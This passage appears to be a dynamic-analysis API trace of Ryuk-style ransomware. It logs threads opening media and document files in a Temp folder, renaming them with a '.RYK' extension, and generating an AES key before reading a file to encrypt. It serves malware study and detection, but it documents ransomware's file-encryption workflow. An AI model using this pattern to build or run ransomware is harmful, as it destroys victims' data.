	[0276.561] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv.RYK", dwFileAttributes=0x80) returned 1
	[0277.538] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\s-gmsn.mkv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4
	[0277.538] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x9d0f558 | out: lpFileSize=0x9d0f558*=43170) returned 1
	[0277.538] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x9d0f568 | out: lpFileSize=0x9d0f568*=43170) returned 1
	[0277.538] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0xa780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.538] ReadFile (in: hFile=0x8b4, lpBuffer=0x9d0f5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9d0f520, lpOverlapped=0x0 | out: lpBuffer=0x9d0f5b0*, lpNumberOfBytesRead=0x9d0f520*=0x19, lpOverlapped=0x0) returned 1
	[0277.540] CloseHandle (hObject=0x8b4) returned 1

Thread:
	id = 3804
	os_tid = 0x40fc

	[0276.562] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4.RYK", dwFileAttributes=0x80) returned 1
	[0277.541] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\sul76pcdpbtav.mp4.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4
	[0277.541] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x9e5f998 | out: lpFileSize=0x9e5f998*=24386) returned 1
	[0277.541] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x9e5f9a8 | out: lpFileSize=0x9e5f9a8*=24386) returned 1
	[0277.542] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x5e20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.542] ReadFile (in: hFile=0x8b4, lpBuffer=0x9e5f9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9e5f960, lpOverlapped=0x0 | out: lpBuffer=0x9e5f9f0*, lpNumberOfBytesRead=0x9e5f960*=0x19, lpOverlapped=0x0) returned 1
	[0277.543] CloseHandle (hObject=0x8b4) returned 1

Thread:
	id = 3805
	os_tid = 0x4100

	[0276.562] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp.RYK", dwFileAttributes=0x80) returned 1
	[0277.238] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ta8_kc.bmp.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0277.238] GetFileSizeEx (in: hFile=0x8e8, lpFileSize=0x978f958 | out: lpFileSize=0x978f958*=2834) returned 1
	[0277.238] GetFileSizeEx (in: hFile=0x8e8, lpFileSize=0x978f968 | out: lpFileSize=0x978f968*=2834) returned 1
	[0277.238] SetFilePointerEx (in: hFile=0x8e8, liDistanceToMove=0x9f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.238] ReadFile (in: hFile=0x8e8, lpBuffer=0x978f9b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x978f920, lpOverlapped=0x0 | out: lpBuffer=0x978f9b0*, lpNumberOfBytesRead=0x978f920*=0x19, lpOverlapped=0x0) returned 1
	[0277.240] CloseHandle (hObject=0x8e8) returned 1

Thread:
	id = 3817
	os_tid = 0x4130


Thread:
	id = 3859
	os_tid = 0x41dc

	[0277.681] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0277.681] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.681] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.681] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3860
	os_tid = 0x41e0

	[0277.682] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3", dwFileAttributes=0x80) returned 1
	[0277.683] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0277.683] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8cbf558 | out: lpFileSize=0x8cbf558*=42898) returned 1
	[0277.683] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8cbf568 | out: lpFileSize=0x8cbf568*=42898) returned 1
	[0277.683] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0xa670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.683] ReadFile (in: hFile=0x7f0, lpBuffer=0x8cbf5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cbf520, lpOverlapped=0x0 | out: lpBuffer=0x8cbf5b0*, lpNumberOfBytesRead=0x8cbf520*=0x19, lpOverlapped=0x0) returned 1
	[0277.685] CloseHandle (hObject=0x7f0) returned 1
	[0277.685] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3.ryk"), dwFlags=0x8) returned 1
	[0277.690] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3861
	os_tid = 0x41e4

	[0277.691] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg", dwFileAttributes=0x80) returned 1
	[0277.692] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0277.692] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8f9f598 | out: lpFileSize=0x8f9f598*=88514) returned 1
	[0277.692] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8f9f5a8 | out: lpFileSize=0x8f9f5a8*=88514) returned 1
	[0277.692] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x158a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.692] ReadFile (in: hFile=0x7f0, lpBuffer=0x8f9f5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f9f560, lpOverlapped=0x0 | out: lpBuffer=0x8f9f5f0*, lpNumberOfBytesRead=0x8f9f560*=0x19, lpOverlapped=0x0) returned 1
	[0277.694] CloseHandle (hObject=0x7f0) returned 1
	[0277.694] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg.ryk"), dwFlags=0x8) returned 1
	[0277.698] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3862
	os_tid = 0x41e8

	[0277.699] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi", dwFileAttributes=0x80) returned 1
	[0277.700] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0277.700] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x91efa58 | out: lpFileSize=0x91efa58*=12658) returned 1
	[0277.700] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x91efa68 | out: lpFileSize=0x91efa68*=12658) returned 1
	[0277.700] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x3050, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.700] ReadFile (in: hFile=0x7f0, lpBuffer=0x91efab0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x91efa20, lpOverlapped=0x0 | out: lpBuffer=0x91efab0*, lpNumberOfBytesRead=0x91efa20*=0x19, lpOverlapped=0x0) returned 1
	[0277.702] CloseHandle (hObject=0x7f0) returned 1
	[0277.702] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi.ryk"), dwFlags=0x8) returned 1
	[0277.713] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uw8kRfAIZafm8JjQ.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uw8krfaizafm8jjq.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3863
	os_tid = 0x41ec

	[0277.716] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt", dwFileAttributes=0x80) returned 1
	[0277.717] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0277.717] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x9a1f618 | out: lpFileSize=0x9a1f618*=96818) returned 1
	[0277.717] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x9a1f628 | out: lpFileSize=0x9a1f628*=96818) returned 1
	[0277.717] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x17910, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.717] ReadFile (in: hFile=0x7f0, lpBuffer=0x9a1f670, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9a1f5e0, lpOverlapped=0x0 | out: lpBuffer=0x9a1f670*, lpNumberOfBytesRead=0x9a1f5e0*=0x19, lpOverlapped=0x0) returned 1
	[0277.719] CloseHandle (hObject=0x7f0) returned 1
	[0277.719] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt.ryk"), dwFlags=0x8) returned 1
	[0277.724] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y2djYuhT3xjlKZ3r.ppt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y2djyuht3xjlkz3r.ppt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3864
	os_tid = 0x41f0

	[0277.725] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav", dwFileAttributes=0x80) returned 1
	[0277.726] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0277.726] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0xa04f678 | out: lpFileSize=0xa04f678*=84258) returned 1
	[0277.726] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0xa04f688 | out: lpFileSize=0xa04f688*=84258) returned 1
	[0277.726] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x14800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.726] ReadFile (in: hFile=0x7f0, lpBuffer=0xa04f6d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa04f640, lpOverlapped=0x0 | out: lpBuffer=0xa04f6d0*, lpNumberOfBytesRead=0xa04f640*=0x19, lpOverlapped=0x0) returned 1
	[0277.728] CloseHandle (hObject=0x7f0) returned 1
	[0277.728] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav.ryk"), dwFlags=0x8) returned 1
	[0277.732] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\yLt4USz55bOIOOEbZn.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylt4usz55boiooebzn.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3865
	os_tid = 0x41f4

	[0277.733] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv", dwFileAttributes=0x80) returned 1
	[0277.734] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylwnsymrpkhmewlv4xtt.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0277.734] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x945fc38 | out: lpFileSize=0x945fc38*=53372) returned 1
	[0277.734] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x945fc48 | out: lpFileSize=0x945fc48*=53372) returned 1
	[0277.734] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0xcf5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.734] ReadFile (in: hFile=0x7f0, lpBuffer=0x945fc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x945fc00, lpOverlapped=0x0 | out: lpBuffer=0x945fc90*, lpNumberOfBytesRead=0x945fc00*=0x19, lpOverlapped=0x0) returned 1
	[0277.736] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0277.736] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x945fc18 | out: phKey=0x945fc18*=0x3f7bd0) returned 1
	[0277.736] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0277.736] ReadFile (in: hFile=0x7f0, lpBuffer=0x3c80000, nNumberOfBytesToRead=0xd07c, lpNumberOfBytesRead=0x945fc24, lpOverlapped=0x0 | out: lpBuffer=0x3c80000*, lpNumberOfBytesRead=0x945fc24*=0xd07c, lpOverlapped=0x0) returned 1
